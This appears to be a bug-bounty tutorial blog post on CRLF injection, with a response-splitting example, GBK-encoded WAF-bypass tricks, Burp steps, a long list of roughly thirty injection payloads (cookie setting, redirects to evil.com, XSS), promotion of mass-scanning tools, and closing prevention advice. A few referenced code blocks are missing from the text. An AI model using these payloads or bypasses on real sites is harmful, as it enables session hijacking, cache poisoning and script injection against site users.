CRLF Injection — HTTP Header Manipulation

Introduction

In web security some vulnerabilities don't get as much attention but can still cause major problems. One of these is CRLF Injection. Although it's not as well-known as SQL Injection or Cross-Site Scripting, CRLF Injection can lead to serious issues like HTTP response splitting, web cache poisoning and even XSS attacks — all of which can put a website at risk.

CRLF stands for Carriage Return (CR, %0d) and Line Feed (LF, %0a), which are special characters used to denote the end of a line in HTTP headers. CRLF Injection occurs when an attacker is able to inject these characters into HTTP headers or responses, manipulating how the server or client interprets the response.

By injecting CRLF sequences, an attacker can prematurely terminate headers and inject arbitrary headers or even body content leading to various attacks such as:

• HTTP Response Splitting
• Web Cache Poisoning
• Cross-Site Scripting (XSS)
• Session Fixation

How Does CRLF Injection Work?

CRLF Injection relies on the ability to inject a newline character (%0d%0a in URL encoding) into HTTP headers. When these characters are inserted at the wrong place in the response they can break the header structure allowing attackers to introduce custom headers or even manipulate the content of the response.

For example in a web application that doesn't properly sanitize user input, an attacker could inject the following payload into a field that is reflected in the HTTP response headers:

HTTP Response Splitting is a powerful technique made possible by CRLF Injection. By injecting %0d%0a(Carriage Return + Line Feed), an attacker can split the server's HTTP response into two parts. This enables manipulation of headers and body content in unexpected ways.

/vulnerable-endpoint?q=abc%0d%0aContent-Length:0%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert('Split!')</script>

• %0d%0a → Ends the current header line
• Content-Length: 0 → Ends original response
• A new HTTP/1.1 200 OK response starts with a malicious script in the body
• The browser or cache may treat the second part as a new valid response

When basic CRLF payloads like the following get blocked by WAF:

You can bypass the firewall using GBK-encoded characters that act like CR and LF. In GBK encoding:

Bypass Payload

This payload bypasses standard filtering and successfully injects a custom header like: Set-Cookie: crlfinjection=coffinxp

XSS Chaining (GBK-encoded <script>)

To escalate CRLF to XSS: < = 嘼 = %E5%98%BC, > = 嘾 = %E5%98%BE

Using cURL

One of the easiest ways to test for CRLF Injection is by using cURL. It allows you to send custom requests and observe how the server handles special characters.

HTTP/2 301
date: Mon, 12 May 2025 12:46:42 GMT
content-type: text/html
location: https://example.com/
set-cookie: crlf=injected;

Automate with Nuclei

You can also use my custom Nuclei template to easily detect CRLF injection vulnerabilities at scale across multiple target domains.

Using Loxs Tool

You can also use our Loxs tool to perform mass scanning for CRLF injection vulnerabilities across multiple targets quickly and efficiently.

Nuclei Template vs Crlfuzz

You'll notice the difference — my Nuclei template detects more vulnerable domains compared to the Crlfuzz tool, making it more effective for large-scale CRLF injection hunting.

Using Burp Suite

Burp Suite makes it easy to detect CRLF Injection by observing how the server responds to special newline characters in request parameters.

• 1Intercept a request using Burp (e.g., a GET request with a query parameter like ?page=home).
• 2Send the request to Repeater.
• 3Modify a parameter by injecting CRLF sequences like: home%0d%0aSet-Cookie:injected=1.
• 4Observe the response — look for new headers or broken layout.

Advanced Tips

/%%0a0aSet-Cookie:coffin=hi
/%0aSet-Cookie:coffin=hi;
/%0aSet-Cookie:coffin=hi
/%0d%0aLocation: http://evil.com
/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
/%0d%0a%0d%0a<script>alert('XSS')</script>;
/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
/%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert('XSS');</script>
/%0d%0aHost: {{Hostname}}%0d%0aCookie: coffin=hi%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aSet-Cookie: coffin=hi%0d%0a%0d%0a
/%0d%0aLocation: www.evil.com
/%0d%0aSet-Cookie:coffin=hi;
/%0aSet-Cookie:coffin=hi
/%23%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<svg/onload=alert(document.domain)>
/%23%0aSet-Cookie:coffin=hi
/%25%30%61Set-Cookie:coffin=hi
/%2e%2e%2f%0d%0aSet-Cookie:coffin=hi
/%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a<script>alert(document.cookie)</script>%2F../%2F..%2F..%2F..%2F../tr
/%3f%0d%0aLocation:%0d%0acoffin-x:coffin-x%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<script>alert(document.domain)</script>
/%5Cr%20Set-Cookie:coffin=hi;
/%5Cr%5Cn%20Set-Cookie:coffin=hi;
/%5Cr%5Cn%5CtSet-Cookie:coffin%5Cr%5CtSet-Cookie:coffin=hi;
/%E5%98%8A%E5%98%8D%0D%0ASet-Cookie:coffin=hi;
/%E5%98%8A%E5%98%8DLocation:www.evil.com
/%E5%98%8D%E5%98%8ALocation:www.evil.com
/%E5%98%8D%E5%98%8ASet-Cookie:coffin=hi
/%E5%98%8D%E5%98%8ASet-Cookie:coffin=hi;
/%E5%98%8D%E5%98%8ASet-Cookie:coffinxp=coffinxp
/%u000ASet-Cookie:coffin=hi;
/www.evil.com/%2E%2E%2F%0D%0Acoffin-x:coffin-x
/www.evil.com/%2F..%0D%0Acoffin-x:coffin-x

Resources

To prevent CRLF Injection attacks, developers should:

• 1Sanitize and Validate Input: Ensure that any user input that can be reflected in HTTP headers is properly sanitized. This includes stripping out \r (Carriage Return) and \n (Line Feed) characters.
• 2Use Safe Functions for Header Manipulation: Avoid manually constructing headers. Use secure and well-tested libraries to handle HTTP header construction to prevent accidental injection.
• 3Output Encoding: Encode special characters in user input, especially when displaying data in HTTP headers to prevent the insertion of malicious content.